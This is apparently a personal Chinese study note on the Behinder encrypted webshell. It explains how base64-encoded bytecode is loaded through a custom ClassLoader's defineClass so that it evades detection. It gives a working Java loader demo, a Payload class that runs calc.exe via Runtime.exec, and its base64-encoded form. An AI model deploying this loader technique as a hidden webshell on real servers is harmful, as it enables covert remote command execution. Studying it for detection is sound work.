冰蝎学习

https://xz.aliyun.com/t/2744
原理：将字节码进行编码/加密，在网络上传输，很难有规则可检测出来。
在服务端解密之后，使用java.lang.ClassLoader的defineClass方法还原。
在实现方面，巧妙地使用equals（Object）来接受参数，equals方法只接受一个参数，只要传递pageContext进去，便可以间接获取Request、Response、Seesion等对象，如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();

jar包下载：http://www.java2s.com/Code/JarDownload/sun/sun.misc.base64decoder.jar.zip

package bingxie;

import Decoder.BASE64Decoder;

public class Demo {
    public static class Myloader extends ClassLoader //继承ClassLoader
    {   
        public  Class get(byte[] b)
        {
            return super.defineClass(b, 0, b.length);
        }       
    }
    public static void main(String[] args) throws Exception {
        String classStr = "yv66vgAAADQAKAcAAgEAD2Jpbmd4aWUvUGF5bG9hZAcABAEAEGphdmEvbGFuZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADAAkMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABFMYmluZ3hpZS9QYXlsb2FkOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsKABEAEwcAEgEAEWphdmEvbGFuZy9SdW50aW1lDAAUABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAXAQAIY2FsYy5leGUKABEAGQwAGgAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAHQAfBwAeAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAIAAGAQAPcHJpbnRTdGFja1RyYWNlCAAiAQACT0sBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQEAClNvdXJjZUZpbGUBAAxQYXlsb2FkLmphdmEAIQABAAMAAAAAAAIAAQAFAAYAAQAHAAAALwABAAEAAAAFKrcACLEAAAACAAoAAAAGAAEAAAAFAAsAAAAMAAEAAAAFAAwADQAAAAEADgAPAAEABwAAAGkAAgACAAAAFLgAEBIWtgAYV6cACEwrtgAcEiGwAAEAAAAJAAwAHQADAAoAAAASAAQAAAAJAAkACgANAAsAEQANAAsAAAAWAAIAAAAUAAwADQAAAA0ABAAjACQAAQAlAAAABwACTAcAHQQAAQAmAAAAAgAn";
        BASE64Decoder code=new Decoder.BASE64Decoder();
        Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组，并传入t类的get函数
        System.out.println(result.newInstance().toString());
    }
}

其中classStr的值是下面这个类编译之后class文件的base64值。

将classStr解码为二进制字节流，并传入Myloader实例的get方法，得到一个Class类型的实例result，此时result即为Payload.class（注意此处的Payload.class不是上文的那个二进制文件，而是Payload这个类的class属性）

package bingxie;

import java.io.IOException;

public class Payload {
    @Override
    public String toString() {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return "OK";
    }
}

$ javac Payload.java
$ base64 Payload.class
yv66vgAAADQAKAcAAgEAD2Jpbmd4aWUvUGF5bG9hZAcABAEAEGphdmEvbGFuZy9PYmplY3QBAAY8
aW5pdD4BAAMoKVYBAARDb2RlCgADAAkMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFy
aWFibGVUYWJsZQEABHRoaXMBABFMYmluZ3hpZS9QYXlsb2FkOwEACHRvU3RyaW5nAQAUKClMamF2
YS9sYW5nL1N0cmluZzsKABEAEwcAEgEAEWphdmEvbGFuZy9SdW50aW1lDAAUABUBAApnZXRSdW50
aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAXAQAIY2FsYy5leGUKABEAGQwAGgAbAQAEZXhl
YwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAHQAfBwAeAQATamF2
YS9pby9JT0V4Y2VwdGlvbgwAIAAGAQAPcHJpbnRTdGFja1RyYWNlCAAiAQACT0sBAAFlAQAVTGph
dmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQEAClNvdXJjZUZpbGUBAAxQYXlsb2Fk
LmphdmEAIQABAAMAAAAAAAIAAQAFAAYAAQAHAAAALwABAAEAAAAFKrcACLEAAAACAAoAAAAGAAEA
AAAFAAsAAAAMAAEAAAAFAAwADQAAAAEADgAPAAEABwAAAGkAAgACAAAAFLgAEBIWtgAYV6cACEwr
tgAcEiGwAAEAAAAJAAwAHQADAAoAAAASAAQAAAAJAAkACgANAAsAEQANAAsAAAAWAAIAAAAUAAwA
DQAAAA0ABAAjACQAAQAlAAAABwACTAcAHQQAAQAmAAAAAgAn

运行之后，截图：
"连接"并执行whoami命令。